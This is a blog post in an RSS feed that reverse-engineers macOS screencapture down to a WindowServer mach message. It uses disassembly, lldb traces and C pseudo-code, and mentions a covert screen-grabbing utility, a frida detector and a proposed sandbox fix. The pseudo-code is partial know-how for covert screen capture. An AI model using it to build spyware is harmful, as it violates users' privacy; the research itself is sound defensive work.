<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Technical Notes</title>
    <description>A collection of useful articles to help with research</description>
    <link>http://debugtrap.com/</link>
    <atom:link href="http://debugtrap.com/feed.xml" rel="self" type="application/rss+xml" />
    
     
      <item>
        <title>Who moved my pixels?!</title>
        <description>&lt;p&gt;Screen captures are super useful in my workflow and OS X makes it easy with just a few key combinations. However, I was really curious (worried) if someone could take a screen shot without my knowledge. So, I decided to figure out how that mechanism works and see if there was a way build malware to covertly steal these pixels.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Reversed the screencapture utility to find out how it uses the standard framework functions. Then traced the mechanism to the &lt;code class=&quot;highlighter-rouge&quot;&gt;WindowServer&lt;/code&gt; and wrote a utility to covertly grab screens; &lt;code class=&quot;highlighter-rouge&quot;&gt;sandbox-exec&lt;/code&gt; can’t stop the screen gabs. Used &lt;code class=&quot;highlighter-rouge&quot;&gt;frida&lt;/code&gt; to detect someone grabbing the screen pixels covertly. There is  malware, from 2013(!), that steals people’s pixels: &lt;a href=&quot;https://www.virustotal.com/en/file/6acd92d0dfe3e298d73b78a3dcc6d52ff4f85a70a9f2d0dcfe7ae4af2dd685cc/analysis/&quot;&gt;macs.app&lt;/a&gt; [5]. As expected, there are multiple ways to get the screenshots. This was known since, at least, &lt;a href=&quot;https://twitter.com/patrickwardle/status/962803166323531777&quot;&gt;2011&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;Why does OS X allow any GUI/CUI program to capture the entire screen? There are dangerous security implications here! I propose to add mach message ID filtering to the sandbox configuration. &lt;code class=&quot;highlighter-rouge&quot;&gt;WindowServer&lt;/code&gt; needs a mechanism to white list signed binaries that can execute privileged RPC functions.&lt;/p&gt;

&lt;h2 id=&quot;how-does-the-capture-work&quot;&gt;How does the capture work?&lt;/h2&gt;
&lt;p&gt;If you wish to reproduce or follow the steps I’ve taken, linked below are the binaries that I used for the reverse engineering. The binaries are from MacOS High Sierra version 10.13.3.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;../../../../resources/screencapture&quot;&gt;screencapture&lt;/a&gt; (7a76ff24fbb9e2f1b1ca07e6d3f351114cf5af42)&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;../../../../resources/SkyLight&quot;&gt;SkyLight&lt;/a&gt; (1481334038bd636ba0fc4c983c04e1787b33a5d5)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;MacOS comes with a utility for capturing the screen pixels into an image file: &lt;code class=&quot;highlighter-rouge&quot;&gt;/usr/sbin/screencapture&lt;/code&gt;. It is a useful utility and, I’m guessing, screencapture is what gets executed when I press the right key combinations on the desktop to take full or partial screenshots. So, I decided to reverse it and see how it actually does the capturing. Turns out it wasn’t so complicated.&lt;/p&gt;

&lt;p&gt;Starting the trace at the very beginning. This is where the command line arguments are processed; see &lt;code class=&quot;highlighter-rouge&quot;&gt;__text:100002640&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;__text:10000287E&lt;/code&gt;. So, there is a good chance that this is where we should start tracing.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Asm&quot;&gt;__text:1000025B8 ; __int64 __fastcall start(int, char **)
__text:1000025B8                 public start
__text:1000025B8 start           proc near
...
__text:100002639  mov     qword ptr cs:xmmword_1000139A0, rcx
__text:100002640  lea     r15, aAbpidicmwwsosx 
                       ; &quot;abPIdicmwWsoSxfrCMET:t:l:R:B:&quot;
__text:100002647  lea     r12, dword_10000346C
...
__text:100002876  mov     edi, ebx        ; int
__text:100002878  mov     rsi, r14        ; char **
__text:10000287B  mov     rdx, r15        ; char *
__text:10000287E  call    _getopt
__text:100002883  lea     ecx, [rax-42h]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;To be user friendly, the utility uses a shutter sound to indicate that the screen has been captured. So, I turned up my speakers and started debugging! The sound would serve as guiding light to help narrow down the useful code.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;__text:100002E67  jz      loc_100003130
__text:100002E6D  call    take_the_screenshot
__text:100002E72  jmp     loc_10000337B
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Unfortunately, the sound is played very early in the process. At least, when I hear the sound, I know I’m on the right path.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;__text:100003D20 take_the_screenshot proc near
...
__text:100003D80  cmp     cs:byte_100012553, 0
__text:100003D87  jnz     short loc_100003D8E
__text:100003D89  call    playTheScreenshotSound
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I know this is the sound playing function because it is essentially the wrapper to these calls (below). Also, because I can hear the sound after the functions finish execution!&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;__text:100007DC0  call    _AudioServicesSetProperty
__text:100007DC5  mov     edi, [rbx]
__text:100007DC7  call    _AudioServicesPlaySystemSound
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Let’s go back to the &lt;code class=&quot;highlighter-rouge&quot;&gt;take_the_screenshot&lt;/code&gt; function (where the sound is played). Using a debugger, I step through a bunch of instructions (tedious!) when I notice a function that calls &lt;code class=&quot;highlighter-rouge&quot;&gt;_CGDisplayCreateImage&lt;/code&gt; of the CoreGraphics framework. That looks promising!&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;__text:100004155  mov     [rsp+0E0h+var_E0], rax
__text:100004159  mov     edi, r12d
__text:10000415C  mov     rsi, r15
__text:10000415F  call    doCapture
__text:100004164  mov     r14, rax
__text:100004167  test    r14, r14
__text:10000416A  jz      loc_100004236
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;I named this function &lt;code class=&quot;highlighter-rouge&quot;&gt;doCapture&lt;/code&gt; but at this point I’m not 100% certain if the name is accurate. However, without going into that function, I notice that the calls after &lt;code class=&quot;highlighter-rouge&quot;&gt;doCapture&lt;/code&gt;, within the &lt;code class=&quot;highlighter-rouge&quot;&gt;take_the_screenshot&lt;/code&gt; function, record an image to disk. I’m guessing the image being written to disk is the screenshot in question. Seems like a reasonable assumption, so I decided to follow that thread.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;__text:10000418F  mov     rdi, r14        ; img
__text:100004192  mov     rsi, qword ptr [rbp+var_80]
__text:100004196  mov     rdx, r15
__text:100004199  call    writeImageToDisk
__text:10000419E  mov     rax, cs:qword_100012548
__text:1000041A5  add     rax, 0FFFFFFFFFFFFFFFEh
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;I named this function &lt;code class=&quot;highlighter-rouge&quot;&gt;writeImageToDisk&lt;/code&gt;. And if you look inside, there are all sorts of references to recording images to a file on disk. Particularly interesting are the error messages:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;__text:1000073D9  lea     rax, cfstr_YouDontHavePer 
                       ; &quot;You dont have permission to save files \
                          in the location where screen shots are \
                          stored.&quot;
__text:1000073E0  mov     cs:qword_1000139F8, rax
__text:1000073E7  mov     rax, cs:___stderrp_ptr
__text:1000073EE  mov     rdi, [rax]      ; FILE *
__text:1000073F1  lea     rsi, aScreencaptur_6 
                      ; &quot;screencapture: cannot write file to int&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;And so, this is more support that &lt;code class=&quot;highlighter-rouge&quot;&gt;doCapture&lt;/code&gt; is the function that does all the interesting bits. Let’s keep the name and dig into it some more.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;__text:1000052EA  call    _CGRectIsEmpty
__text:1000052EF  test    al, al
__text:1000052F1  jz      short loc_100005312
__text:1000052F3  mov     edi, r12d
__text:1000052F6  call    _CGDisplayCreateImage  ; Returns an \
                       image containing the contents of the   \
                       specified display
__text:1000052FB  mov     r15, rax
__text:1000052FE  lea     rbx, [rbp+var_C0]
__text:100005305  mov     rdi, rbx
__text:100005308  mov     esi, r12d
__text:10000530B  call    _CGDisplayBounds
__text:100005310  jmp     short loc_100005343
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;CGDisplayCreateImage&lt;/code&gt; looks promising, but at this point it could have number meanings. However, I’m a reverse engineer, I’m not afraid of going down a few rabbit holes! Well, this function is actually just a stub:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;__stubs:10000BDE4 _CGDisplayCreateImage proc near  
                       ; CODE XREF: doCapture+49
__stubs:10000BDE4   jmp     cs:_CGDisplayCreateImage_ptr
__stubs:10000BDE4 _CGDisplayCreateImage endp
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So, I go to the &lt;code class=&quot;highlighter-rouge&quot;&gt;CoreGraphics&lt;/code&gt; (&lt;code class=&quot;highlighter-rouge&quot;&gt;_CG&lt;/code&gt; gave that away!) framework and look for the function there:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;__text:00000546A  public _CGDisplayCreateImage
__text:00000546A _CGDisplayCreateImage:

__text:00000546A  jz      short loc_5490
__text:00000546C  sbb     [rcx-75h], cl
__text:00000546F  sbb     [rax+39h], r9b
__text:00000546F
__text:000005473  db 0CEh, 75h, 1Bh, 49h, 8Bh
__text:000005478  dq 4820468B49202454h, \
                   88558B481675C239h, 181E998758B48h
__text:000005490
__text:000005490
__text:000005490 loc_5490: \
         ; CODE XREF: __text:_CGDisplayCreateImage
__text:000005490  add     [rcx-75h], cl
__text:000005493  and     [rcx-75h], r9b
__text:000005497  push    rsp
__text:000005498  and     al, 20h
__text:000005498
__text:00000549A  dw 4866h
__text:00000549C  db 0Fh
__text:00000549D
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Ummm, what? That function doesn’t look like it does anything useful! Worse, it does not look like it can even execute. What’s going on here? Well, we go to our trusty LLDB debugger! Obviously, there is some sort of a runtime linking mechanism that replaces the CoreGraphics function with something else.&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;lldb&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; bt
&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; thread &lt;span class=&quot;c&quot;&gt;#1, queue = 'com.apple.main-thread', stop reason = instruction step over&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; frame &lt;span class=&quot;c&quot;&gt;#0: 0x00007fff6e726ef9 SkyLight`SLSHWCaptureDesktop + 5517&lt;/span&gt;
    frame &lt;span class=&quot;c&quot;&gt;#1: 0x00007fff6e7294fa SkyLight`SLDisplayCreateImage + 34&lt;/span&gt;
    frame &lt;span class=&quot;c&quot;&gt;#2: 0x1000052fb screencapture`___lldb_unnamed_symbol17$$screencapture + 78&lt;/span&gt;
    frame &lt;span class=&quot;c&quot;&gt;#3: 0x100004164 screencapture`___lldb_unnamed_symbol12$$screencapture + 1092&lt;/span&gt;
    frame &lt;span class=&quot;c&quot;&gt;#4: 0x100002e72 screencapture`___lldb_unnamed_symbol8$$screencapture + 2234&lt;/span&gt;
    frame &lt;span class=&quot;c&quot;&gt;#5: 0x00007fff74579115 libdyld.dylib`start + 1&lt;/span&gt;
    frame &lt;span class=&quot;c&quot;&gt;#6: 0x00007fff74579115 libdyld.dylib`start + 1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looking at the stack trace, it becomes obvious that the actual implementation used is actually the similarly named &lt;code class=&quot;highlighter-rouge&quot;&gt;SLDisplayCreateImage&lt;/code&gt; function from the &lt;code class=&quot;highlighter-rouge&quot;&gt;SkyLight&lt;/code&gt; private framework. So, what we saw in the CoreGraphics framework was some sort of a stub - makes sense, since there is non-executable content in there! Let’s keep digging :-)&lt;/p&gt;

&lt;p&gt;Looking at the assembly of &lt;code class=&quot;highlighter-rouge&quot;&gt;_SLDisplayCreateImage&lt;/code&gt;, I can see that it is essentially a wrapper function for &lt;code class=&quot;highlighter-rouge&quot;&gt;_SLSHWCaptureDesktop&lt;/code&gt;&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;__text:0001FB4D8  public _SLDisplayCreateImage
__text:0001FB4D8 _SLDisplayCreateImage proc near
...
__text:0001FB4ED  mov     r8d, 441h
__text:0001FB4F3  mov     ecx, eax
__text:0001FB4F5  call    _SLSHWCaptureDesktop
__text:0001FB4FA  mov     r14, rax
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Intuitively, I’d expect that the actual contents for the screen pixels will be in a buffer of some service. So, I would not expect the user application to access that buffer directly in order to capture an image. That means there should be some sort of an IPC mechanism between the user application and the GUI service. On OS X, IPC means &lt;a href=&quot;https://developer.apple.com/library/content/documentation/Darwin/Conceptual/KernelProgramming/Mach/Mach.html&quot;&gt;MACH PORTS&lt;/a&gt; [0].&lt;/p&gt;

&lt;p&gt;Below is the disassembly of the section of the function that sends a mach port message to the GUI Service in order to obtain the actual pixel content.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;__text:0001F796C  public _SLSHWCaptureDesktop
__text:0001F796C _SLSHWCaptureDesktop proc near
...
__text:0001F832E  mov     rcx, cs:_NDR_record_ptr
__text:0001F8335  mov     rcx, [rcx]
__text:0001F8338  mov     [rbp-0A8h], rcx
__text:0001F833F  movaps  xmmword ptr [rbp+var_160], xmm1
__text:0001F8346  movups  [rbp+var_A0], xmm1
__text:0001F834D  movaps  xmmword ptr [rbp+var_190], xmm0
__text:0001F8354  movups  [rbp+var_90], xmm0
__text:0001F835B  mov     dword ptr [rbp+var_80], eax
__text:0001F835E  mov     eax, [rbp+var_1A4]
__text:0001F8364  mov     dword ptr [rbp+var_80+4], eax
__text:0001F8367  mov     [rbp+msg.msgh_bits], 1513h
__text:0001F8371  mov     eax, [rbp+remote_port]
__text:0001F8377  mov     [rbp+msg.msgh_remote_port], eax
__text:0001F837D  call    _mig_get_reply_port
__text:0001F8382  mov     [rbp+msg.msgh_local_port], eax
__text:0001F8388  mov     [rbp+msg.msgh_id], 732Ah
__text:0001F8392  mov     [rbp+msg.msgh_reserved], 0
__text:0001F839C  cmp     cs:_voucher_mach_msg_set_ptr, 0
__text:0001F83A4  jz      short loc_1F83B8
__text:0001F83A6  lea     rdi, [rbp+msg]
__text:0001F83AD  call    _voucher_mach_msg_set
__text:0001F83B2  mov     eax, [rbp+msg.msgh_local_port]
__text:0001F83B8
__text:0001F83B8 loc_1F83B8:
__text:0001F83B8  sub     rsp, 8
__text:0001F83BC  mov     esi, 3          ; option
__text:0001F83C1  mov     edx, 48h        ; send_size
__text:0001F83C6  mov     ecx, 136        ; rcv_size
__text:0001F83CB  xor     r9d, r9d        ; timeout
__text:0001F83CE  lea     rdi, [rbp+msg]  ; msg
__text:0001F83D5  mov     r8d, eax        ; rcv_name
__text:0001F83D8  push    0               ; notify
__text:0001F83DA  call    _mach_msg
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Even though the assembly looks messy, the message is very simple and looks like this in psuedo-code:&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;req_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;req_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;buffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    
&lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msgh_bits&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x00001513&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msgh_size&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msgh_remote_port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;session_port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msgh_local_port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;mig_get_reply_port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msgh_voucher_port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msgh_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x732A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    
&lt;span class=&quot;c1&quot;&gt;// NDR Record value:
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ndr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;int_rep&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    
&lt;span class=&quot;c1&quot;&gt;// x, y, width, height of the rectangle to capture
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;y&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;width&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;height&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;768&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;display_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x047400b0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;param5&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x00000441&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// ¯\_(ツ)_/¯
&lt;/span&gt;    
&lt;span class=&quot;c1&quot;&gt;// set the voucher
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;voucher_mach_msg_set&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// request the pixels
&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;mach_msg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x48&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x88&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
             &lt;span class=&quot;n&quot;&gt;rq_msg&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msgh_local_port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 
        &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MACH_MSG_SUCCESS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Error sending mach message&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This message executes an RPC function which take the arguments of the capture rectangle dimensions along with the display ID to capture from.&lt;/p&gt;

&lt;p&gt;Tracing the &lt;code class=&quot;highlighter-rouge&quot;&gt;remote_port&lt;/code&gt; variable, we can see that it is derived from a bootstrap call from within the &lt;code class=&quot;highlighter-rouge&quot;&gt;_SLSMainConnectionID&lt;/code&gt; call.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;__text:0001F796C  public _SLSHWCaptureDesktop
...
__text:0001F79A2  call    _SLSMainConnectionID
__text:0001F79A7  mov     edi, eax
__text:0001F79A9
__text:0001F79A9 loc_1F79A9:
__text:0001F79A9  call    _CGSGetConnectionPortById
__text:0001F79AE  mov     [rbp+remote_port], eax
__text:0001F79B4  test    eax, eax
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;It is a bit of a distraction to follow these steps in the same detail. However, there is a stack trace that looks like this:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;_SLSHWCaptureDesktop
 &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; _SLSMainConnectionID
   &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; _SLSNewConnection
     &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; _SLSServerPort
       &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; _CGSLookupServerRootPort
         &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; _bootstrap_look_up2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looking at the references to &lt;code class=&quot;highlighter-rouge&quot;&gt;_bootstrap_look_up2&lt;/code&gt;, two names show up that look interesting:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;com.apple.windowserver.active&lt;/li&gt;
  &lt;li&gt;com.apple.windowserver&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We need to find out which service publishes these ports with these names. I wasn’t quite sure how to do that directly, so I took a slightly different approach. Instead, I set a breakpoint on the &lt;code class=&quot;highlighter-rouge&quot;&gt;_mach_msg&lt;/code&gt; and looked at the message header to obtain the remote port number:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;lldb&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; x/100wx &lt;span class=&quot;nv&quot;&gt;$rdi&lt;/span&gt;
0x7ffeefbff640: 0x00131513 0x00000000 0x00002113 0x00000607
0x7ffeefbff650: 0x00001203 0x0000732a 0x00000000 0x00000001
